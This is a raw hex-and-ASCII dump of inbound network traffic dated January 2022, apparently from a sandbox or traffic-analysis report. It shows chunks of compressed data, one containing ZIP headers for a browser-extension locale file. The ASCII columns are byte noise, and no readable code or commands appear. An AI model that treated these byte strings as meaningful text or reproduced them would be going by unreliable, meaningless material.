cd 3e fa 83 de 5d 7f 24 84 47 ec 75 9a 5d 0c fc 5f c7 c1 c0 17 42 23 6b b1 9a bd 8c be f4 fd 77 b6 5b 3c a2 10 5c dd 05 83 
41 6f 10 74 af eb dc 9d 0c c7 9f 28 46 f8 27 21 8d 25 ec 29 38 ec fa a3 87 de e0 06 79 74 75 e5 0f 28 1d 1f 82 ab 40 88 b7 
44 12 35 ba 6a 5a a0 ec 4d 9b 46 27 c3 d6 9d 2f 9d 8a ec 78 a8 d1 cb 03 ed d9 a4 df 16 42 23 92 9d e8 a3 77 6a 25 bb 7f 
13 cc fa 83 e0 be d5 fe 32 e9 b4 46 ad c9 78 d8 ba f6 25 e5 24 5c 97 09 6e 86 24 3d e4 e0 22 e3 17 b9 fd 6d ef 5a 80 47 
49 47 22 31 1e 8d fb 93 fb 60 18 7c 0a ca 24 6b 
Data Ascii: S'Np:no4e`Ok:]4;&}$E>?8!k>]$Gu]_B#kw[<\Aot(F'!%)8ytu(@D5jZMF'/xB#wj%2Fx%$\n$="mZGIG"1`|$k

2022-01-13 21:05:25 UTC 1028 IN Data Raw: b4 64 f5 60 db b0 6d d7 76 4c 6e 20 d3 33 0d c7 3e 1d 3c 64 c5 92 a5 55 e3 2c 57 85 2d 75 c7 b4 2d d7 33 2d 
47 73 88 6f 6f f3 f5 6e d3 48 77 2d d5 f0 1c 4b 85 dd 75 55 57 0d 97 a8 c2 f7 32 f7 14 18 ba ac ad 72 cf d6 0a cb b0 cf aa 
48 0a 38 7c a7 f4 ee 8a 7c c3 e6 49 59 61 ab ca b3 f1 c4 1f 4d 66 d7 61 f4 fe 59 b2 dd 2a 57 79 be 5a 33 e5 1d 86 3c 0b 
a2 7e fd c3 9b 76 d8 78 e8 47 cf 7e 12 3f 88 c7 33 68 b5 5d 27 73 76 97 af 17 ac 28 85 3a ed 34 f1 07 5f 19 c6 e4 ba 3d 
d3 c4 2e da c9 e4 67 5d fc fc a8 0f 19 60 1c 0c 90 4a 30 cf 1e 1e 3a 0c 35 db de 9d da ea e7 cb e4 1f 9f 77 4c 55 d5 9f 2f 
cb 6d 92 b5 7f 24 ca 5d c1 96 af 3f 9f dd 55 d5 b6 7c 75 79 59 ee b6 db bc a8 2e 56 c2 36 17 f3 7c 73 39 df 1b f1 32 c9 ca 
af ac b8 d4 3d 91 a4 9f cf 94 2a 29 56 ac c2 fc 
Data Ascii: d`mvLn 3><dU,W-u-3-GsoonHw-KuUW2rH8||IYaMfaY*WyZ3<~vxG~?3h]'sv(:4_=.g]`J0:5wLU/m$]?U|uyY
.V6|s92=*)V

2022-01-13 21:05:25 UTC 1029 IN Data Raw: 58 16 c0 f8 54 83 30 e3 bd d7 3a 5d ed 57 ae 67 3a bc 94 42 69 0b ff 18 0e f0 8f 78 6d 6f 88 36 7e 4f fd 5f 9b 
45 94 a1 bd 5e 07 05 08 e5 03 f0 8a a0 40 fd f6 2c c3 74 89 75 c6 5d 2e 6e 32 5b 88 41 35 37 0d db 44 77 64 a1 41 72 0c 
8b 5a f9 a8 db b1 54 9d 37 50 ae 89 02 02 ea a4 9a 36 09 ae 31 db c9 20 a9 55 20 dd 70 22 2e 48 48 8b 3c 9b 63 e4 39 
c0 ee 0b 65 c8 33 71 ef cd 47 d0 e2 18 71 02 f3 c8 f1 72 87 26 18 d2 0e 5b a2 1e e3 8d 93 80 69 9f af f6 d8 13 5d fc 37 bd 
cf 13 cd 4d cb 96 25 46 7a ba 77 f9 8b ed 0a 4a d2 0e 66 00 7b 06 78 8a b6 c5 d2 0d bb a5 cb 16 68 19 80 47 77 1d 74 bb 
00 0e 4b 23 c1 e7 cf e1 d0 da 39 6d c8 22 4c 2d 8b f7 b1 96 07 26 85 5a 4d 69 11 9f b0 30 2a 14 1e e5 79 b2 ae 38 6f 5b 
a6 59 7a 14 5f 2f 1a 61 e0 45 50 03 9d b6 0d ee 00 92 
Data Ascii: XT0:]Wg:Bixmo6~O_E^@,tu].n2[A57DwdArZT7P61 U p".HH<c9e3qGqr&[i]7M%FzwJf{xhGwtK#9m"L-&ZMi
0*y8o[Yz_/aEP

Timestamp
kBytes
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2022-01-13 21:05:25 UTC 1030 IN Data Raw: 3e b8 1d 46 22 f4 51 52 d7 e2 a0 8d bf e6 5d f2 b7 7f 9d c3 2f 05 fb 9a ac c5 0f 65 be ac be 26 05 53 22 7f 8c 
7a 59 22 8d e0 c9 ba 39 e0 37 2a 8e ea ba 86 0b 3a cc cf ac 28 09 7f e2 a4 e5 e9 f3 8b 83 43 15 c0 6c 5a f2 9b b5 45 c3 
50 6f 82 7e e8 cf 46 f1 74 12 8c 66 7e bf 1f 4e c2 38 f2 af 67 bd f8 e6 26 88 26 e3 53 25 64 57 66 54 ce b4 1f c6 b3 0f 53 ff 
3a 9c 7c 3a 95 20 43 34 22 a1 e7 47 bd e0 7a f6 76 3a 99 c4 11 d5 81 de 45 51 09 71 34 c1 06 a0 45 30 e6 7b 3a 15 22 
6b f3 88 90 7e d8 9f 45 f1 64 36 19 91 6d c8 38 27 99 3f 08 82 fe 5b bf f7 7e 16 dc f8 e1 f5 6c 10 06 d7 fd 53 41 b2 b3 fd 6e
41 83 78 74 33 eb 07 e3 de 28 1c 4a b7 25 39 1b ea 96 f6 2e f0 fb c1 e8 54 86 8c 71 75 cb 18 8e e2 9b e1 84 98 87 f6 2f 
dd 22 46 c1 87 69 38 0a 88 69 64 ed 53 b7 94 
Data Ascii: >F"QR]/e&S"zY"97*:(ClZEPo~Ftf~N8g&&S%dWfTS:|: C4"Gzv:EQq4E0{:"k~Ed6m8'?[~lSAnAxt3(J%9.Tq
u/"Fi8idS

2022-01-13 21:05:25 UTC 1031 IN Data Raw: a2 6c 49 ac dc c6 29 55 72 8a 41 ba 76 4b 49 45 94 92 bc e6 33 61 0e db 75 6c d3 56 0d cd 53 1d eb 78 a2 21 
74 65 3b 9a c7 39 25 98 b0 d8 65 5f e3 32 be a7 49 96 37 1a 4c dd 35 b1 48 1b c2 ae a6 db 8e a1 89 b6 26 71 49 4a c8 
e7 74 dd 2e 34 56 ee e3 35 cd 56 49 bc ab 92 8a af db d2 75 cd 54 6d d7 30 34 68 54 0d 4b d4 95 a5 f4 4b 5c a5 50 96 56 
4a f1 82 28 45 49 6e 63 4c 70 a6 40 b5 ba a2 e9 8a e6 2b d2 ac 35 66 2e 52 d2 ac 3a e3 fa 2d d5 53 31 81 e9 68 aa ab bb 
9e e5 f6 ec 4a 12 a7 8d a1 8d 9c 6d d8 b6 6b 3b 26 73 95 e9 99 86 63 f7 c8 c1 51 1b ba 2a f7 65 5d 15 1e d6 1d d3 b6 5c 
cf b4 1c cd 11 22 e1 26 4b aa 2d 1f 6c a9 86 e7 58 2a 36 43 57 75 d5 70 05 03 07 1f f3 6c 4b 57 a4 28 ab 44 59 df 17 67 
0a d9 b1 99 d9 e2 29 4d 95 67 b3 b9 3f 9d 2f af c2 e8 ed 33 
Data Ascii: lI)UrAvKIE3aulVSx!te;9%e_2I7L5H&qIJt.4V5VIuTm04hTKK\PVJ(EIncLp@+5f.R:-S1hJmk;&scQ*e]\"&K-
lX*6CWuplKW(DYg)Mg?/3

2022-01-13 21:05:25 UTC 1033 IN Data Raw: 91 2d 86 a4 4d 49 ab 36 92 5b a5 09 e9 d6 f4 9a eb b1 c1 d8 2d 83 65 b0 aa 5b 06 83 cd 23 3d 41 ce 9a 93 66 
b4 0e 80 00 c7 37 1d 17 18 61 9b 9a 2b e4 e7 0c ae 5f c5 8c d4 90 da 4f 58 07 fd ca f6 0b 1f 37 08 30 74 12 c5 2e 4e b9 bf
10 9d 8d 3b 4a ba 2b 3b 2b 39 54 11 34 49 b4 51 d2 82 17 6b 10 0e 3b 03 d3 02 3c b8 e8 b3 f4 ba 23 b2 5c 11 71 a2 a6 
dd d8 55 25 d0 b1 01 9d 92 fc 85 a6 83 71 24 d4 68 4f 37 2c 40 84 e5 a9 32 d5 75 9a 70 e8 ad 2b 4f ca d2 a4 99 0b b1 79 
c7 6b 3f eb 72 50 ba e2 cd 23 ab c7 c8 83 1c db 5f 63 8f 3d 20 4b ba 63 98 9e 87 1e c8 b2 80 06 82 3d 94 f9 2c 89 ef 62 
74 56 8d 90 c3 70 1c d6 5b f8 63 38 28 ac c2 06 8f 3a 50 3b 32 be a9 57 67 ca 8c 3e 1a 47 f2 96 41 b4 b6 71 20 04 7e a1 
7a 23 8a 40 21 3c cb 30 5d c1 59 fb a1 81 7a 7d 50 2d 1a 
Data Ascii: -MI6[-e[#=Af7a+_OX70t.N;J+;+9T4IQk;<#\qU%q$hO7,@2up+Oyk?rP#_c= Kc=,btVp[c8(:P;2Wg>GAq ~z#@!
<0]Yz}P-

2022-01-13 21:05:25 UTC 1034 IN Data Raw: 45 d6 64 bf 09 42 6f ce 4a ae eb 82 be d8 aa 83 2e 4a 72 2d c8 8a 64 dc f5 1e ab ce 84 bd d3 ae 1f 8b 75 12 
ab 7f 1c d8 81 a2 1a ac 5e ba 86 0d 52 e3 99 9e 00 3e 72 7a e5 82 1c 82 81 9a 1a f8 08 a3 41 a6 2c ea 77 fb b7 b7 ac 1e 
6e e2 fc 54 89 49 be 9f 07 3b ba d7 06 b8 60 7a 1a 9a 67 0d 80 08 54 74 10 09 3d f6 74 0d 2a 97 43 9b a4 59 9e 81 0e df 
05 39 b6 75 f1 f2 a9 db e9 fa 02 b7 11 83 df 3d 64 ae ad 69 96 aa b2 58 13 ef 2d 9b 59 aa f2 e0 dc dc 75 54 9b 9d 45 a8 
ac 53 37 c1 11 4c c1 6f d7 55 d2 48 54 5b b4 cd bc 96 ec d1 2a 7e bc 50 ab f3 18 c7 c5 de 6b e8 33 f1 d1 05 b5 eb c1 85 
4e 43 23 a7 e9 aa 87 dc b7 59 ed b1 d8 31 b4 c8 1d 62 25 6b 88 e5 1e c8 62 3b 77 ac 59 6f a1 0a 75 e6 66 12 9d b2 fa f0 
e5 df a7 6c 9b e8 67 92 24 35 ce 57 a9 52 64 9b f2 33 73 
Data Ascii: EdBoJ.Jr-du^R>rzA,wnTI;`zgTt=t*CY9u=diX-YuTES7LoUHT[*~Pk3NC#Y1b%kb;wYouflg$5WRd3s

2022-01-13 21:05:25 UTC 1035 IN Data Raw: 72 75 2f 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 
00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 72 75 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 
d5 5c 7b 6f 1b b9 11 ff 2a aa 9b 3f 2e 85 e3 f0 b9 4b a6 77 3d 28 d6 da 51 63 4b ae 1e 0e 52 18 10 64 59 4a 82 26 76 6a 
3b 38 14 07 7f f7 ce ee 72 a3 a1 66 28 c9 8e 93 c3 21 80 22 6b 97 43 72 38 f3 9b e7 ee ef 3b 52 48 e7 9d b1 99 34 ce 59 
25 ac cc 77 5e b4 7e df f9 34 bf b9 99 be 9b c3 f7 9d b3 2f c2 c8 bc fc d4 a2 fa 54 d5 a7 2b 3f 8d 44 bf 5f a0 df 17 3b 77 bb 
ad 1d a9 a4 f6 36 f7 4e e5 4a bb dc 7a 25 58 ea 53 44 a5 fe 3e af 3e 7d 6b 49 52 e7 2d 34 7b 75 af 11 e8 32 5a 83 51 88 
86 6a ad 2e 4e 67 d5 a7 c5 17 30 25 89 46 9f d7 b7 
Data Ascii: ru/PKPK)Q_locales/ru/messages.json\{o*?.Kw=(QcKRdYJ&vj;8rf(!"kCr8;RH4Y%w^~4/T+?D_;w6NJz%
XSD>>}kIR-4{u2ZQj.Ng0%F

2022-01-13 21:05:25 UTC 1036 IN Data Raw: d0 bd c3 bd e0 c7 38 f8 4f 65 20 49 de eb f4 a1 ca 69 35 c6 08 88 f0 3c c4 f6 39 48 04 84 f7 59 42 64 c5 12 bd 
22 7c aa b5 c6 5c 2c 35 2c a8 fe 94 68 e4 1c b1 00 33 c2 93 78 ba d6 76 d3 c4 6a 3f a1 21 18 39 e5 52 a1 35 86 b9 b5 ee 
b0 9e 3f 7d d1 ec bc 14 14 29 85 57 a5 af a6 12 71 2e 76 bd 67 e8 8c 67 08 79 70 a6 c1 20 bf 3d ec 7c 86 16 17 21 cf 2e 
ce 93 e0 ac 20 ce 3f 26 39 86 25 2b ac 0c 5d 08 5e 63 80 e3 dd 26 d6 0c 21 22 62 20 ca d2 04 9b a1 a8 a6 a5 94 1f 1f 79 
70 56 71 a0 81 2f e3 19 6a d2 1e f1 e2 fe f1 c9 8b b3 cb b3 4b f9 b4 b5 3a c2 20 63 17 41 7c 14 4b 45 e8 4d 4e 66 bd ac 
62 da 91 96 a3 fc 62 93 63 70 98 d5 78 3a 8d 0e 3a 5a 4c 48 10 fc bd dc 9e 7a 4a b2 b6 eb 33 0e 41 8a 9a 54 c0 59 65 7f 
f7 21 d2 ad c8 e9 88 5b 73 b4 02 0c b4 19 3e 4d 74 38 
Data Ascii: 8Oe Ii5<9HYBd"|\,5,h3xvj?!9R5?})Wq.vggyp =|!. ?&9%+]^c&!"b ypVq/jK: cA|KEMNfbbcpx::ZLHzJ3ATYe![s>M
t8

2022-01-13 21:05:25 UTC 1038 IN Data Raw: 23 b1 4f 91 8a 4b 4e ff 84 48 a1 ba 64 64 8e b1 41 c5 0e 24 4d 3b 2e 9e d6 4c c8 3c e8 97 f6 39 28 9c 13 56 
40 0c fe 98 80 7d 86 81 f5 e0 b8 9e 32 87 e0 15 54 bb cc de 80 e0 29 6f 79 d1 bb 40 5a 88 bd 4c ac 91 18 d1 b1 9f 43 8b 
12 4c 1f ea f6 95 ed 40 ae 5e be 2f 6b e8 56 02 40 41 00 ae 35 e0 d4 9a 5a 2b 8e 9a 70 1c 1c 4c 59 69 c1 14 f0 1e 4c b6 
03 97 5f 48 5e 04 99 fe ba b5 a9 e5 46 f2 23 e7 6d 43 fc 52 2b 45 26 c0 d8 49 f0 1a 64 ee 41 25 c0 72 f0 2b fa 86 84 e6 4a 
b0 f3 6a 7a f9 ee ea cb ed 0d ce 62 22 43 82 dd f7 14 56 c4 82 fd 67 c8 8b 87 40 a3 e1 b9 cb ca 07 26 20 7e 73 65 b7 7a 
a6 89 a7 f1 b7 6a 4f df d4 2a 50 4f 65 ca e7 84 94 b1 1a dc 01 9b d9 44 6f 28 11 ab b4 93 8b 6f 9a e2 8d 6e 65 ed 7f 6c 5f 
2e dd fd 8f 6b cb cd ac b3 1e 1c d7 4c 82 1b 06 06 
Data Ascii: #OKNHddA$M;.L<9(V@}2T)oy@ZLCL@^/kV@A5Z+pLYiL_H^F#mCR+E&IdA%r+Jjzb"CVg@& ~sezjO
*POeDo(onel_.kL

2022-01-13 21:05:25 UTC 1039 IN Data Raw: 6c 64 77 32 1c bf 2c 79 04 3f 11 31 66 9c 76 42 b0 57 8c de f4 07 af 41 8e 0e 0e 8a 41 29 8e 6f ba 07 5d c2 6f 
26 bc 4e 92 4a 6d 90 7b 13 5c 92 c8 b0 7d 5c b0 4b e1 da 69 92 54 de 94 67 36 39 d9 27 ac a1 9e 30 a5 d1 5f 1d c5 3d 85
4c 86 9d 0c ba a7 ed fd b7 93 4e 7b d4 9e 8c 87 ed c3 82 51 27 f2 90 2d 21 33 2c c3 16 1e 5c 38 7f 88 1f 7f d4 3f 24 f0 c8 
e4 33 99 c1 a3 f1 c9 e4 b4 3b ec be ec 56 42 96 3c 52 e6 0d 53 94 5a ff 60 f4 a6 3d 48 4b 3e e7 63 11 2a e3 de eb 5e ff 
0d 19 cb a5 a3 c9 d8 d3 6e a7 48 a3 3d e3 c4 27 28 0c 8f fb fd d1 ab 5e 31 24 5c e5 de 55 47 88 bc 2d a8 b1 62 de 8e 50 
8d 1b 1e 4e 0e 00 90 41 7a 47 7d b0 35 43 02 5f dc 53 0e cd 48 e0 14 a0 4d a7 e8 75 29 62 71 4f 87 c4 e3 46 dd e3 02 16 
4c 14 8f e9 31 68 06 1e 57 d6 ac 57 ec 8f c2 aa 09 
Data Ascii: ldw2,y?1fvBWAA)o]o&NJm{\}\KiTg69'0_=LN{Q'-!3,\8?$3;VB<RSZ`=HK>c*^nH='(^1$\UG-bPNAzG}5C_S
HMu)bqOFL1hWW

2022-01-13 21:05:25 UTC 1040 IN Data Raw: d2 ae d2 f4 4b 4c b5 6b 58 bc 0b 7b 1d fe cc 4f 9a b0 18 0d 5a bd 77 7f ab 7e a8 3e 9e 61 48 59 4c 66 74 91 c6
73 9a 17 d5 58 6a b3 ea 2f b3 34 29 69 52 b2 81 bd e3 13 af 8d a5 9f cd ea e7 c3 d0 a4 07 ac a3 07 94 08 f6 d9 cb 4b 83 
97 a6 d9 e2 d4 51 7f 7f 4f fe f1 b0 a6 ba ae ff fd 7d 91 91 a4 fe 0b d1 16 39 7d fa f1 e1 6c 51 96 59 f1 e1 fd fb 62 9d 65 69 
5e 5e 7c a9 7c 73 31 4b 57 ef 67 7b 9f be 27 49 f1 95 e6 ef cd a0 ca ea 87 33 ad 24 f9 17 5a c2 7e fa 18 93 64 f9 70 56 03 
b3 97 68 33 2c 6a 81 1f 73 fa ef 75 94 d3 f9 0f 62 44 30 4c be fc 50 2c d2 af f8 f1 2f 65 9a 5d 14 eb a7 a7 68 16 61 72 97 
94 ce 1f c9 8c 41 55 2e 40 d8 3b 9e 63 da 78 a7 67 99 ba e7 1a 52 d0 55 b9 4e 49 bc 4f ee 25 c6 9b f0 c4 37 72 fa e1 37 
af a8 d2 e1 c6 2f ad 88 29 56 44 31 62 e5 
Data Ascii: KLkX{OZw~>aHYLftsXj/4)iRKQO}9}lQYbei^^||s1KWg{'I3$Z~dpVh3,jsubD0LP,/e]harAU.@;cxgRUNIO%7
r7/)VD1b

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1042 IN Data Raw: 62 38 ec 75 10 c9 79 1a af 31 e4 3a 31 77 87 14 2f de 18 0d f4 ab e9 59 76 10 a0 45 75 1c 70 95 34 1a ba c3 
eb d6 ab 53 46 e0 f6 1e 93 22 98 86 83 3f 2c 0f ac 20 d3 0f 4f c8 88 36 66 e1 be 97 1e a4 cb 75 c1 a6 9a 66 64 b9 7e a6 
35 69 83 68 c1 3b 08 30 48 a0 c0 b1 6c 5f 72 59 b5 c6 73 45 b0 f0 72 b6 ae 60 20 82 6c cb b5 d1 93 3b 68 cb 3d cb 91 5d 
af 6e ae 1d dd 64 fd bb 6f 83 6d 21 bf 75 db 7d 23 6e df 10 21 f5 d2 ac 10 64 2b 51 3e 8f 93 bd ce 3a 51 54 38 df 90 7d d4 
b3 08 8e b4 e7 b5 36 ab 37 3d 56 94 39 6d 95 ce ea aa 95 8b bd 15 63 ff c4 69 d5 2f f6 70 88 57 48 51 31 a4 e7 79 45 c0 
0f 52 43 8f 77 95 39 ab 68 78 4b 74 e8 e1 2f 7e 4f af fe 46 33 5e 77 76 0a 57 bf dd 6b ff c6 f6 1a 59 b2 7e 8c 29 3a bd b4 
e4 6d b6 63 5a 6e dd da 39 10 c7 28 93 a6 ef 79 28 
Data Ascii: b8uy1:1w/YvEup4SF"?, O6fufd~5ih;0Hl_rYsEr` l;h=]ndom!u}#n!d+Q>:QT8}67=V9mci/pWHQ1yERCw9h
xKt/~OF3^wvWkY~):mcZn9(y(

2022-01-13 21:05:25 UTC 1043 IN Data Raw: 17 0c ec 21 7c a4 90 df 9f 95 08 0b 74 7d 86 13 58 7a 80 ee 13 5a c5 94 98 be 8e cc c3 7d 01 1f 2b 15 20 f7 5d 
c3 70 74 9d 05 a6 24 ca af 1f c4 b5 85 e3 33 0d df d3 5d b6 e3 a2 b3 4d 08 1b ba c4 96 1c fd c0 4f 5b d9 16 c8 8a dd 73 
a8 b7 57 9b 75 1d af 48 01 d3 e3 08 1c 03 fd 33 3e fa d0 98 ea dd 98 87 5f dc dd e3 78 86 a9 07 a8 1d 2e 2b 70 0e 3b 33 
90 af 44 c8 a7 5c a8 b2 cf a4 de e9 e6 94 99 d1 59 c4 fd cd f6 8f b3 c3 35 8a fb 41 ef 5c 2b 68 be a1 39 db a8 f8 cf f6 5c ab
57 26 59 6b 4f 88 e5 af 24 
Data Ascii: !|t}XzZ}+ ]pt$3]MO[sWuH3>_x.+p;3D\Y5A\+h9\W&YkO$

2022-01-13 21:05:25 UTC 1043 IN Data Raw: 8e eb 0d ce f4 a9 14 ba 23 d7 7a ad 11 6f bf d8 01 ac a7 fb be e5 a3 b3 60 9b 9c 72 5b 33 7a 63 fb f5 f5 c6 5a 
7a e4 1e f5 2e 1e 9e 16 db 69 76 ce bd 7e 17 76 ba ad e9 b0 3f 19 87 c3 69 ab d3 e9 8e bb fd 5e eb 76 da ee df dd 85 bd 
f1 e8 74 34 aa e3 76 19 67 d2 e9 f6 a7 ff 9a b4 6e bb e3 cf a7 08 aa 4a 2a 21 b4 5b bd 76 78 3b fd 38 19 8f fb 3d 79 0c f2 
19 b6 8c d0 ef 8d 31 01 8c 22 1c b1 39 9d 82 a8 9a 6b 09 a4 d3 ed 4c 7b fd f1 74 3c 94 a6 a1 52 e8 92 fd 65 18 76 3e b6 
da 37 d3 f0 ae d5 bd 9d 5e 76 c3 db ce 29 90 ea 68 ab 19 e8 b2 3f bc 9b 76 c2 51 7b d8 1d 28 a7 a5 d8 ed 6b 46 bb 0e 5b 
9d 70 78 8a a1 52 95 cd 18 83 61 ff 6e 30 96 dc 23 b7 7d cd 10 c3 f0 5f 93 ee 30 94 5c a3 ea 38 9b 51 c6 9f 07 e1 1b cb 
2d ef 0c 49 50 77 dd e1 b0 3f ec f6 ae ea d8 9d 8e 
Data Ascii: #zo`r[3zcZz.iv~v?i^vt4vgnJ*![vx;8=y1"9kL{t<Rev>7^v)h?vQ{(kF[pxRan0#}_0\8Q-IPw?

2022-01-13 21:05:25 UTC 1044 IN Data Raw: ba e7 1c 7b 1f 2e 56 59 5c b2 14 3e 53 b6 c9 58 59 db d9 a6 6f 63 01 2e 4c 7c c3 74 3d cb 38 36 9c f2 95 90 37
d3 17 5c db 64 7c 51 b2 65 e5 a5 8c 17 5c 6c 44 9e f2 62 c5 6a 67 8e 69 1a b6 ee fa 96 65 c0 a5 6e 39 c4 d9 dd 0e 16 05 
2b e3 82 97 da 46 94 7c c7 4a 04 14 6b db 7c c3 13 76 a6 8d 44 be da e6 f8 59 db a5 a2 64 67 8d 63 47 0f 74 78 b6 3d 43 
f7 4d 3f 70 fc 37 a2 ac 4d 5c cb 75 7d d7 b3 65 56 ec c0 b6 3c 97 66 24 89 6b 93 54 d4 36 be 8e 24 9a 9e ed 3a 7e 60 3b 
9e e1 91 2d bd 4c 58 9e 62 05 cd f5 8e 6e 05 9e a3 23 e5 a6 6e ea 96 4f c2 ea 25 b1 86 5c 9d 3f 65 62 cd 1f 58 5e 54 69 
4b b5 52 7b 37 99 f6 c6 d3 f9 4d 34 b8 7e c7 36 49 bc 62 0f f1 32 d6 2e 85 78 4c b8 76 85 cb df 85 83 7e fd fb 2f ed d5 93 
51 6f f0 ee ef d5 0f d5 c7 13 44 b1 49 d8 03 7f 12 
Data Ascii: {.VY\>SXYoc.L|t=867\d|Qe\lDbjgien9+F|Jk|vDYdgcGtx=CM?p7M\u}eV<f$kT6$:~`;-LXbn#nO%\?ebX^T
iKR{7M4~6Ib2.xLv~/QoDI

2022-01-13 21:05:25 UTC 1046 IN Data Raw: 57 f6 04 10 90 e8 5a 81 ed 5e d0 63 d5 f7 71 52 a1 6e 86 14 a4 52 cf e3 77 ad 84 94 df 57 e7 5a 66 12 1a 5f ac 
9b 7d d1 17 b8 f5 12 cb 49 39 fe d7 9a af f2 46 fb db 0e f0 da c7 b8 64 56 33 8e e3 53 e4 3f c0 e0 fd 28 21 3a 46 09 a9 89 
00 8c 81 69 39 c0 69 27 d0 a9 bb 08 8a 0d 0b ab 79 8e ed 89 0e 9e b1 38 81 fe 7d dc cf 43 e8 f8 7a 03 50 88 b2 e0 10 49 
c9 33 79 cb 78 2d 37 a2 59 2a 89 01 82 c8 f4 2c 3b 08 30 cd 38 0e 60 97 02 27 5c 6f d7 c9 32 2e 6b 7c b6 3d c9 95 08 d8 
c1 3f 96 07 4c 23 7b f8 bb 78 e5 20 3f 77 2f bb c2 db 48 0f 79 07 8c 01 08 45 c9 80 b0 03 c7 b2 7d 92 a9 83 3a 68 3a bf 0e
16 54 6d 5b ae 8d 91 cd c1 d4 e6 59 0e 4d 32 19 be 1c dd 94 93 9d 6f 83 2c a0 e9 74 db 25 65 77 55 b2 a4 2e 3a 75 fb a2 
78 ea 8e 05 3c 2c 25 30 bc ea c9 b5 38 44 da 33 
Data Ascii: WZ^cqRnRwWZf_}I9FdV3S?(!:Fi9i'y8}CzPI3yx-7Y*,;08`'\o2.k|=?L#{x ?w/HyE}:h:Tm[YM2o,t%ewU.:ux<,%08D3

2022-01-13 21:05:25 UTC 1047 IN Data Raw: a8 06 52 b0 f2 58 b7 b9 18 93 81 e1 04 16 86 58 1f 12 d2 35 09 b3 ed 8b 8c 3e 64 f4 b1 0f 01 5a d3 35 0c 47 
d7 65 ad 11 4d 18 e5 ab fd 79 ac ef e9 ae 1c b5 75 39 89 da e0 5f 9b 64 af 1a 2b 81 e6 18 d1 2a b5 2b cf 79 12 f5 79 4a 
0d 10 81 14 87 28 03 03 c3 15 3e fa 50 4e 6f e1 b9 ca 51 ed c7 c0 80 8d 2e 77 25 ce 38 f2 a4 93 c4 26 4f 7c e2 35 ab 19 
a7 39 69 78 21 ea 4d 75 5a 26 5e 3d 0f d6 ee 46 03 79 8c d8 7e 23 f7 78 93 89 ff fe 9f d3 86 36 31 bc 62 4a d5 76 f1 a2 a2 
53 fc f6 98 31 8c 15 70 23 c1 52 68 83 de a4 d6 f9 f2 b1 8d a7 fb be e5 43 de ca 83 29 2a a0 47 1d 67 0c 87 ba a4 4a 68 
75 3a f2 fa 30 04 3f 40 70 b7 49 bd 0d fb 51 6f 3e 1e ce a6 e1 78 de eb f7 a3 69 34 1c f4 6e e6 e7 c3 db db 70 30 9d 1c df 
59 f5 0c 8e fa 99 f5 a3 e1 fc 5f b3 de 4d 34 fd 72 
Data Ascii: RXX5>dZ5GeMyu9_d+*+yyJ(>PNoQ.w%8&O|59ix!MuZ&^=Fy~#x61bJvS1p#RhC)*GgJhu:0?@pIQo
>xi4np0Y_M4r

2022-01-13 21:05:25 UTC 1048 IN Data Raw: dd be cd 05 b4 38 92 b9 96 48 2d 1f 32 bc 30 40 d0 d4 c8 36 ce b1 7c 92 8c 00 67 e8 bf 5f 0d a7 c7 ac 66 55 
53 64 ac 28 bb 87 00 0a 4d 4e 57 77 bd 9f 3d df f6 a4 90 3e 78 63 9d 34 de 5b 25 ac 2c f6 9e 77 be ed fd 5a dd dc cc df 
57 f0 79 ef ed 57 61 64 51 ff d5 a2 fe 6b f4 f2 af 5c fe 55 ab ef f5 f2 b3 0d cd 37 9d d5 43 da ee dd ed 77 f6 a4 92 3a d8 22 
78 55 28 ed 0b 1b 94 60 b7 9a 2f d7 54 4b 60 1e 01 6b be d2 06 43 7e d7 c0 6f 7e 58 7d b6 cd f7 cb d5 c6 e2 d5 97 cb af 
dc ea e7 74 8b 8b 15 3a f1 07 89 4e d3 a0 46 e1 c5 8d e4 8a 3a 71 71 7c 74 b1 fc 41 a0 b3 ba e6 d1 5f 22 61 80 24 ce 17 
ce 38 a1 65 10 85 65 e9 52 21 82 cf 11 44 bf 22 7e 3c f9 1c 6d 1e b9 85 36 b7 8a 20 29 9a 73 18 e5 0d 88 81 83 23 78 a9 
5c a1 e5 06 06 61 ce 63 72 ab d5 4e 46 75 08 e6 97 
Data Ascii: 8H-20@6|g_fUSd(MNWw=>xc4[%,wZWyWadQk\U7Cw:"xU(`/TK`kC~o~X}t:NF:qq|tA_"a$8eeR!D"~<m6 )s#x
\acrNFu

2022-01-13 21:05:25 UTC 1049 IN Data Raw: 9c 98 dd c7 53 a2 42 54 63 8d 13 43 95 4d ba a2 cc 61 4b 95 58 0a 7c ca fd 66 05 4a 28 9b ca 4f 34 7d 6d 51 
0b 3b 20 5c 22 88 07 42 e2 fd 9d 54 4d 66 f7 b4 f9 d7 fe 2e 2b d7 a5 28 59 40 2c b9 c6 e6 a8 59 95 9c 1d d7 ab 70 71 63 
91 9c 0c 5b 3c 54 6d c1 84 61 4a 20 80 25 e4 4d 09 8e b4 56 98 90 9d 30 a2 75 53 1d c4 fe 68 de 69 66 3f 47 ac 61 44 0b 
5b 75 92 23 b3 c7 c7 6c b5 e8 29 5a 76 ba c8 e8 84 c5 07 c7 29 be c5 a4 d3 eb 3c 62 24 d2 e1 c3 e0 83 53 93 21 b2 ee 
1e a5 7d 06 6f ba 45 c9 c0 e8 58 92 4a 0a 61 bb 3a c4 07 30 33 96 51 bd 8d 41 64 6a 72 12 aa fc 00 43 f2 d2 86 e3 43 5c 
95 5e 30 52 95 54 83 24 fa 25 c5 ef 92 00 46 65 e8 44 0b b1 04 18 5c 4f c5 2a c2 d8 ee 86 b9 2a 71 0c 49 f5 6a b9 b0 c0 
32 93 33 0d 09 e3 36 fb 04 bc 9a 5a d9 b4 96 b6 9f 10 09 1d 
Data Ascii: SBTcCMaKX|fJ(O4}mQ; \"BTMf.+(Y@,Ypqc[<TmaJ %MV0uShif?GaD[u#l)Zv)<b$S!}oEXJa:03QAdjrCC\^0
RT$%FeD\O**qIj236Z

2022-01-13 21:05:25 UTC 1051 IN Data Raw: a4 5a c3 4c cd c7 cd 1a c8 a6 be 6c a2 8c d5 10 23 40 46 9f 19 b9 fc 33 9a 8c 38 6e c2 4d 64 a6 3a 82 85 30 
